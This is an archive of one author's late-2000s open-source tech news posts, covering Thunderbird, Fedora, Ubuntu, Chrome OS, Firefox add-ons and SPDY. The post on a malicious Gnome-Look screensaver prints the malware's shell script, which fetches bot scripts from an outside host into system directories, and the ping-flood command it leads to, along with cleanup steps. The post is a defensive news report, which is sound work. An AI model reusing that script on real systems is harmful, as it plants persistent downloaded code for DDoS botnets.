All posts by Chinmoy Kanjilal

Chinmoy Kanjilal is a FOSS enthusiast and evangelist. He is passionate about Android. Security exploits turn him on and he loves to tinker with computer networks. He rants occasionally at Techarraz.com. You can connect with him on Twitter @ckandroid.

French Military contributes to Thunderbird

French Military is reported to have contributed to the latest Thunderbird 3, released this week. This association of the French Government with Open Source started way back with an intense internal debate on whether to go for Open Source software for government usage.
open-source-france
The Reuters report says:

France’s military chose open source software after an internal government debate that began in 2003 and culminated in a November 6, 2007, directive requiring state agencies “Seek maximum technological and commercial independence.”

This debate resulted in a favor of Mozilla powered Thunderbird as it allowed the French Military to include security specific code into the release. This was not possible wit the closed source Microsoft Outlook. So they started it as a Military project and open sourced it soon, under the brand-name of TrustBird along with Mozilla.

This custom Mozilla is in use with the Finance, Culture and Interior ministries.

Also, after the success of Thunderbird, the French government is moving to using Linux and OpenOffice.org instead of Microsoft Windows and Office applications.

The next step would be to look for some support. This can get messy, as Microsoft has a whole army of technicians and on-site help personnel at an established office, whereas Mozilla, has only ten employees located somewhere in Paris.

Reports of this decision appeared on the Reuters website and the news can be seen here.

Microsoft Open-Sources Controversial Windows 7 tool

Microsoft has finally Open-Sourced the Windows 7 netbook install tool which lets users create a USB/DVD of the OS installation as well as download the installation from the Internet.

windows_7_download_USB_dvd_tool

Named as WUDT, the product is released under the GPLv2 license, with the code available at CodePlex. You can check the source here, at the WUDT page on CodePlex. Microsoft admitted the mistake of putting up the software with Open-Source code as a closed source software and promised to look into the matter. Within a month, now it has finally released the software as Open-Source with a size of 2.59 MB.

This is unlike earlier, when the software was closed source and was sized at only a 950 KB. There is no Term of Use link directing us to any proprietary license page anymore. The executable installer which is for Windows, includes the source along with the software. This is a major improvement against earlier, when Microsoft  released the tool as a closed source software, possibly stealing away some Open-Source codes. You can see this post for some reading on the topic.

This should make it clear that Open-Source software is protected by licenses and is not just lying there for free to put into your own closed source software. It is time we respect Open-Source software. The new Windows 7 USB/DVD tool software requires:

  • .NET Framework: For rendering the UI
  • IMAPI service: for windows CD/DVD burning
  • bootsect.exe: to write the Windows 7 boot sector

Manan Kakkar, a Contributing Author at Techie Buzz has few more things to add about this new development.

Microsoft Releases Windows 7 USB/DVD Tool Under GPLv2

When Windows 7 was launched, Microsoft revamped it’s online store from Windows Marketplace to Microsoft Store. Since, Microsoft was offering Windows 7 as downloads via this store once purchased, Microsoft decided to release a tool that would allow users to burn the downloaded ISO to a DVD or create a bootable USB drive to install Windows 7. The tool was received well and yes, it is a very handy tool. However, things went bad when Windows enthusiast, Rafael Rivera discovered that the tool had some code which was lifted from a project which was available on Microsoft’s open source website Codeplex, under the GPLv2 license. What followed was quite surprising. Microsoft pulled the software off it’s website, did its internal investigation and came out with a post where they clarified that the tool was developed by a third party contractual coder but accepted their fault AND said that they will be releasing the tool under GPLv2. The release was delayed by a couple of days but it finally happened.

As promised the tool is now available on Codeplex under the GPLv2 license with the source code for enthusiasts to tinker with.

WUDT on Codeplex

WUDT on Microsoft Store

Fedora 13 Codename Goddard: Features

Fedora 13 promises a rich set of features. The features are still being worked upon and include the Btrfs file system which allows file system snapshots and the NFSv4 allowing better NFS capabilities over IPV6.

The Btrfs file system also allows us to defragment the drives online. The inclusion of the Btrfs file system aims primarily at the snapshot system which will take a snapshot before every yum upgrade. This will let us roll back to the previous stable system in case of a glitch. The Btrfs is not available as the default file system and has to be installed separately.

Another feature that we might see in Fedora 13 will be NFSv4. This protocol will allow us to mount NFS servers on IPV6 in Fedora 13.

The release of Fedora 13 will be codenamed Goddard and will come out sometime next year. The decision was taken after a proper voting was issued. The result of the voting was seen as:

1. Goddard 1177
– –[ Cut Off ] —
2. Langstrom 1009
3. Gloriana 977
4. Botany 922
5. Loana 707
6. Truro 654
7. Manfredi 504

The winner and the only name to win the cut off votes was the name Goddard. More information on this can be found here.

Ubuntu: Malware in Screensaver from Gnome-Look.org

A desktop screensaver available from Gnome-Look.org was reported to be a malware, which downloads an unauthorized script. This script is believed to enable a possible DDoS attack.   The screensaver has been immediately removed from the website after the malware was confirmed at this thread at Ubuntu forums.

The malware posing as a screensaver has a script:

#!/bin/sh
cd /usr/bin/
rm Auto.bash
sleep 1
wget http://05748.t35.com/Bots/Auto.bash
chmod 777 Auto.bash
echo -----------------
cd /etc/profile.d/
rm gnome.sh
sleep 1
wget http://05748.t35.com/Bots/gnome.sh
chmod 777 gnome.sh
echo -----------------
clear
exit

The ultimate result of this command is:

ping -s 65507 www.mmowned.com

This seems harmless. Also, the site in question [ www.mmowned.com ] advertises protection against DOS attacks. This can be a good prank revenge on the company or, this can be a part of something big by making all these affected computers into bots.

If you have already installed the screensaver, remove it and protect your computer by issuing the commands:

sudo rm -f /usr/bin/Auto.bash /usr/bin/run.bash /etc/profile.d/gnome.sh index.php run.bash
and
sudo dpkg -r app5552

[ Via OMG! UBUNTU! ]

Ubuntu 10.04 First Alpha to be Released Today

Ubuntu is on a roll with its 9.10 release. The Ubuntu 9.10 has advanced a lot over the development cycle and has remarkably improved its boot time.

Ubuntu 10.04 Lucid Lynx will see the first release of its Alpha version sometime today. This next Ubuntu, version 10.04 Lucid Lynx will see a final release on 29th April, 2010 with the first beta release on 18th March, 2010.

You can try out the Alpha release on a virtual machine and participate in the development by reporting bugs. A full system installation or a dual boot with Windows is still not recommended, as the OS is still in its alpha stage.

Some of the key features and changes in the Lucid Lynx will be:

  • Inclusion of Gwibber, a microblogging client.
  • Removal of GIMP as the image editor.
  • A 10 second boot time.

You can get the download here:

Download page

Fedora switches over to GIT from CVS

Fedora has managed its source control with CVS from its birth but is now deciding to switch over to GIT. This decision was made at the FUDCon this week, at Toronto. RedHat’s Jesse Keating has decided to make this switchover from CVS. He writes in his blog:

Git has skyrocketed in popularity over the past few years. More than I ever imagined, when I first toyed with the idea of doing the jump to git, back in the Fedora Core 6 days. Most notably the Gnome project has recently made the leap from SVN over to git (amusingly they started in CVS, we’ll just be skipping that SVN step). Not only is git popular, it’s really a better choice.

GIT also offers much better features like:

  • Better patch management system giving an easy way to deal with modifications and changes in the source.
  • Better distribution management allowing users to use GIT repositories even though they are using different distribution versions.

The simplest reason to use GIT though, would be because it is faster than CVS. Also, GIT allows many upstream hosted projects making it publicly available as a development package platform. The switchover will go into implementation shortly after the release of Fedora 13 but could be delayed till Fedora 14. But either way, we will see a GIT repository control in Fedora by 2010.

Chrome OS: Cherry modded for Wi-Fi Support

Cherry is a chrome OS mod released by Hexxeh, a Chrome OS developer. The cherry OS has many advantages over the default Chrome OS. It has a small size of 300 MB. Not only this, it fits into a USB drive of size 1 GB unlike the original build, which requires at least a 4 GB USB drive.
chrome-os-cherry
In addition to that, it now includes out of the box support for Wi-Fi. Wi-Fi was initially unavailable on Chrome OS and is still unavailable. It can be enabled by copying the Wi-Fi firmware from your default Ubuntu or Ubuntu based installation, to a folder in the Chrome OS USB-drive. All that trouble has been done away with in the Cherry build of the Chrome OS.

The OS can be tried on any netbook, laptop or desktop. It is available as an image file that can be written to a USB drive using an appropriate tool. Windows users can refer to this page for help on making a bootable Chrome OS image. The default username and password for Cherry OS is  facepunch.

There are three download links on this page. One is a torrent download, others are HTTP links. The download is absolutely free. As the homepage says, you can report any bugs to @Hexxeh on twitter.

Chrome OS being Ubuntu based, is highly customizable and is fast developing. This parallel build of Chrome OS is a big hit and Wi-Fi support appearing on it even before on the Chrome OS itself is a positive response from the open source community on Chrome OS.

Christmas Ubuntu Theme: for Christmas Times

Christmas is arriving and now is the time to gear up your freshly installed Ubuntu 9.10 Karmic Koala system with a Christmas theme for Ubuntu. As always, I am providing a wallpaper, a login screen, an icon pack and a theme for the window manager.

Wallpaper

The wallpapers for this theme are taken from Gnome-Look, and I came across more than one of them. So here are the two I selected for you.
Christmas Tux:
christmas_ubuntu_wallpaper
Our Tux is also in festive mood in this wallpaper. Get the wallpaper here.
This next one is a blue wallpaper.
christmas_ubuntu_wallpaper
Get the blue Christmas wallpaper here.

Firefox 3.7 with Direct 2D support, GPU acceleration

Just a few days after Microsoft announced the availability of Direct 2D in Internet Explorer as a major feature, Firefox has started working on the availability of this support on Firefox 3.7.

Direct 2D will allow the browser to use the GPU power. This will enhance rendering of pages, which comes as a lifesaving boon to Internet Explorer and a boost to Firefox. Mozilla programmer Bas Schouten has already developed an alpha version which is rendered completely using the Direct 2D feature. The Direct 2D feature is especially used to render the menu bar and other UI elements. Though the difference between websites rendered using Direct 2D and the CPU in general is not evident currently, it will be once websites get heavier in near future. Schouten says in his personal blog,

A while ago I started my investigation into Direct2D usage in firefox (see bug 527707). Since then we’ve made significant progress and are now able to present a Firefox browser completely rendered using Direct2D.

This is seen as a welcome move from Mozilla team. The tests conducted with Direct 2D and general rendering has significant difference in websites like Twitter, Google and Facebook where the load time with Direct 2D is exactly half of current load times. The feature has not yet been confirmed to be included in Firefox 3.7 but is expected to be, sometime soon.

For technical details on this development, visit this blog post by the developer.

GIMP to be removed from Ubuntu 10.04 Lucid Lynx

GIMP, the GNU Image Manipulation Tool, is a powerful image editing tool and is present in Ubuntu as a default application.

GIMP is the GNU Image Manipulation Program. It is a freely distributed piece of software for such tasks as photo retouching, image composition and image authoring. It works on many operating systems, in many languages.

Recently though, at the Ubuntu Developer Summit, the Ubuntu developer community has decided to discontinue providing GIMP as one of the default applications in the distribution.
gimp
GIMP is a powerful tool and has been a part of Ubuntu for a really long time. Although, this decision was taken to reduce the size of the Ubuntu live CD, it may have many other side advantages and logical explanations.

  • The general end-user hardly uses GIMP, it is more of a professional software.
  • The GIMP UI is complex and has many options, settings and editing capabilities.
  • It takes up a huge amount of disk space.
  • Windows does not bundle a Photoshop like software with itself, a basic image editing software should suffice.
  • F-Spot photo viewer is good enough for basic photo editing.

With all these points in mind, developers at the Ubuntu Development Summit has decided to remove GIMP from the next Ubuntu release onwards. Bye bye GIMP.

Adobe Air 2 Beta Released with loads of new features

Following the success of Adobe Air 1,Adobe has released Adobe Air 2 beta. The Adobe Air platform provides developers with a rich app development platform, tailored for the desktop.
adobe_air
The success of Adobe Air is based on its cross OS capabilities which are achieved with the Adobe Air Runtime, which works pretty much like the Java Runtime. It allows us to run applications in a virtual environment. The Air 2 beta is available for Windows, Linux and Mac.

The current release of Air 2 beta supports Fedora Core 11,  OpenSuse 11.1 and Ubuntu 9.04. Currently, it is supported only on 32-bit systems but 64-bit support is expected soon.

The new version of Adobe Air has the following features:

  • Opens any external file with the default system application specified by the user.
  • Sound from the microphone can be directly accessed for recording.
  • Mass storage devices can be detected as and when added or removed to a system.
  • New networking features like listening to incoming server sockets and DNS lookup.
  • Packaging an .air application into a native system specific installer.
  • Multi touch support.
  • Availability of the rpm and deb installers unlike the earlier bin installers.

Adobe Air is a great platform and has a rich set of applications. I am a big fan of TweetDeck, which is a good Twitter client. For a list of cool Adobe Air applications which will take your breath away, see this post.

Try Adobe Air 2 here.

Configuration Mania: a better UI for Firefox ‘about:config’

Firefox has a lot of configuration settings to tweak and mod. Though, ‘about:config’ lands you to this screen first.

about-config
about-config

When was the last time you planned on changing some settings on your Firefox and got scared away by this screen?

Well, Firefox is a totally customizable browser and these options are there for a reason. The build available for download has many settings set to a basic level for all system types, but if your hardware can take it, I recommend tweaking Firefox.

about-config-settings
about-config-settings

However, Firefox tweaks and settings found on the ‘about:config’ make little or no-sense to first time visitors to the page unless of course, you are really smart.

Configuration Mania is a Firefox add-on to make things easy.

configuration-mania
configuration-mania

Configuration Mania allows us to change settings in an organized manner. The different settings from ‘about:config’ have been divided into five easy sections namely: Browser, Security, Network, UI and Debug. Each section has sub sections and drop-down menus to make almost all the ‘about:config’ settings self-explanatory.

Techie Buzz Verdict

ScreenFix-Techie-Buzz-RecommendedThe add-on makes configuring Firefox much easier and a lot more comprehensive than before. It does not override any ‘about:config’ behavior which is still completely accessible. With a wide range of settings to play around with, the add-on will let Firefox beginners tweak Firefox easily and in an enhanced way. This add-on will also enlighten the user about the changes being made to the browser, unlike changing settings with ‘about:config. Although, all those tutorials giving out ways to speed up Firefox will not be completely applicable through the add-on, it will always be possible through ‘about:config’.

Techie Buzz Rating : 4.5/5 ( Excellent )

Mozilla Jetpack Gallery for Developers

The Mozilla blog recently announced the release of the Jetpack Gallery. Add-on developers can now host and promote their add-ons at the Jetpack gallery. On the other hand, add-on users can easily browse through the add-ons in development and can use those add-ons, right from the Jetpack gallery.

Jetpack-Gallery
Jetpack-Gallery

According to the Jetpack website, :

The Jetpack Gallery is a community for developers and add-on users: Users get innovative add-ons that add functionality to Firefox, while developers receive valuable feedback and visibility in the Jetpack community.

The Jetpak gallery features a properly customized and organized add-on gallery where add-ons are tagged and categorized by author, reviews, popularity and alike. Also, Jetpack featured add-ons will install without a browser restart.

The site includes a Jetpack search and sections like popular tags ratings and bar indicators, top downloads, top contributors and similar ones. A section at the end offers developers an easy way to upload their creations as well. Mozilla Jetpack has made Firefox add-on development easier. The launch of the Jetpack Gallery narrows the bridge between the Jetpack developers and add-on users.

Linux Mint 8 Helena – RC Release

Linux Mint is the best Linux distro for those switching over from Windows. It is easy to use and has extra GUIs for common tasks.

Linux_Helena
Linux_Helena

Mint is a Ubuntu based distro and has a release cycle in sync with that of Ubuntu. Linux Mint 8 – Helena, which is based on Ubuntu 9.10 made an RC release. This latest version of Mint has many new features.

  • With Linux Mint 8, we can create our own custom places like Music, Documents, E-Books, Downloads etc. The places already present include Computer, Trash, Network, Home Folder and alike.
  • Package updates are easier as there is no need to manually refresh the package database. Whenever new packages are available, the user is notified through the Update Manager.
  • The software manager features a multiple selection whereby we can select multiple applications for addition or removal.
  • The Update manager uses Synaptics to refresh the information and shows detailed progress information.
  • The addition to the distribution software list includes an Upload Manager. This Upload Manager sits in the system tray and supports multiple uploads and drag-drop style uploads.
  • ‘Gnome-Do’, which was initially added to make people aware of the project, is not available as one of the per-installed software. Though, it can be added back into the distro.

Mint is a user friendly Linux and is perfect for those who are new to GUI based Linux. It keeps getting better with each release and has gained a wide attention from Linux users. It has moved up Distrowatch rankings fast and is currently ranked #3 in the world.

SPDY: Google Redesigns HTTP, moving towards a Faster Internet

Google is a company which keeps redefining speed. Speed of information flow, speed of browsing, speed in its innovation, Google is truly all about speed. With this obsession, Google finally has thoughts of a faster Internet.

SPDY, as defined by the Chromium blog:

SPDY is at its core an application-layer protocol for transporting content over the web. It is designed specifically for minimizing latency through features such as multiplexed streams, request prioritization and HTTP header compression.

The Chomium blog says it came up with new ideas of web-browser and server interactions, in an attempt to speed up the browsing experience. The SPDY protocol delivers faster than HTTP and delivered 55% faster under test conditions at the labs. SPDY developers tested this by downloading the top 25 websites.

SPDY has been developed as a Google Code project and is Open Source. Google expects the Open Source community to respond to the project. HTTP was widely implemented around 10 years back. SPDY, built today will understand the need of the present day websites, which are significantly different from those that existed a decade ago.

Detailed technical information can be seen at this white-paper release.

Significant improvements in SPDY include,

  • A slash of 50% in page load time.
  • Communication from server end if the client needs resources and server can provide them.
  • Use of SSL as the underlying protocol, providing a secure web.
  • Use of header compression.
  • Allowing concurrent HTTP requests in a single TCP session.

Apart from this, SPDY also aims at making the switchover from HTTP to SPDY hassle free for web-authors. This will save them from making any significant changes in their websites for using SPDY.

SPDY, is just another of the innovations to create a faster web. There are other projects running parallel to SPDY and all aim at speeding up the Internet. Though, SPDY raises some concerns about making web-browsing more resource hungry for the client end. The client end will be forced to use SSL, which is not required more often. Google also claims that SPDY is not a HTTP replacement. Did they mean from the technical aspect or from an implementation point of view?

With the release of Google Chrome OS due this week, Chrome browser getting faster each day and now a Google application layer protocol for web-servers from which my favorite websites might be served, Google search being a primary resource for my research, Gmail being my primary mail client, I see Google taking up the whole of my computer usage. Should I be worried?